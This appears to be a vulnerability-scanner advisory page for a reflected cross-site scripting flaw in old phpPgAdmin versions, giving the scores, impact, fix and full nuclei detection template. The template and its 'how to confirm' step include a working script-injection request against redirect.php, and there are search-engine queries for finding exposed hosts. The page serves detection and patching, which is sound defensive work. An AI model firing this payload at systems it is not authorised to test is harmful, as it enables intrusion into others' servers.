phpPgAdmin <=4.1.1 - Cross-Site Scripting

mediumseverity

4.3CVSS score

14.6%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

phpPgAdmin 3.5 to 4.1.1, and possibly 4.1.2, is vulnerable to cross-site scripting and allows remote attackers to inject arbitrary web script or HTML via certain input available in PHP_SELF in (1) redirect.php, possibly related to (2) login.php, which are different vectors than CVE-2007-2865.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to a patched version of phpPgAdmin or apply the necessary security patches provided by the vendor.

How to confirm it

Send: GET {{BaseURL}}/redirect.php/%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E?subject=server&server=test
Positive when: contains "<script>alert(document.domain)</script>" and "phpPgAdmin" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2007-5728 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2007-5728

info:
  name: phpPgAdmin <=4.1.1 - Cross-Site Scripting
  author: dhiyaneshDK
  severity: medium
  description: phpPgAdmin 3.5 to 4.1.1, and possibly 4.1.2, is vulnerable to cross-site scripting and allows remote attackers to inject arbitrary web script or HTML via certain input available in PHP_SELF in (1) redirect.php, possibly related to (2) login.php, which are different vectors than CVE-2007-2865.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of phpPgAdmin or apply the necessary security patches provided by the vendor.
  reference:
    - https://www.exploit-db.com/exploits/30090
    - http://lists.grok.org.uk/pipermail/full-disclosure/2007-May/063617.html
    - https://nvd.nist.gov/vuln/detail/CVE-2007-5728
    - http://www.debian.org/security/2008/dsa-1693
    - http://www.novell.com/linux/security/advisories/2007_24_sr.html
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2007-5728
    cwe-id: CWE-79
    epss-score: 0.14639
    epss-percentile: 0.96684
    cpe: cpe:2.3:a:phppgadmin:phppgadmin:3.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: phppgadmin
    product: phppgadmin
    shodan-query:
      - http.title:"phpPgAdmin"
      - http.title:phppgadmin
      - cpe:"cpe:2.3:a:phppgadmin_project:phppgadmin"
    fofa-query: title=phppgadmin
    google-query: intitle:phppgadmin
  tags: cve2007,cve,xss,pgadmin,phppgadmin,edb,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/redirect.php/%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E?subject=server&server=test'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '<script>alert(document.domain)</script>'
          - 'phpPgAdmin'
        condition: and
        case-insensitive: true

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

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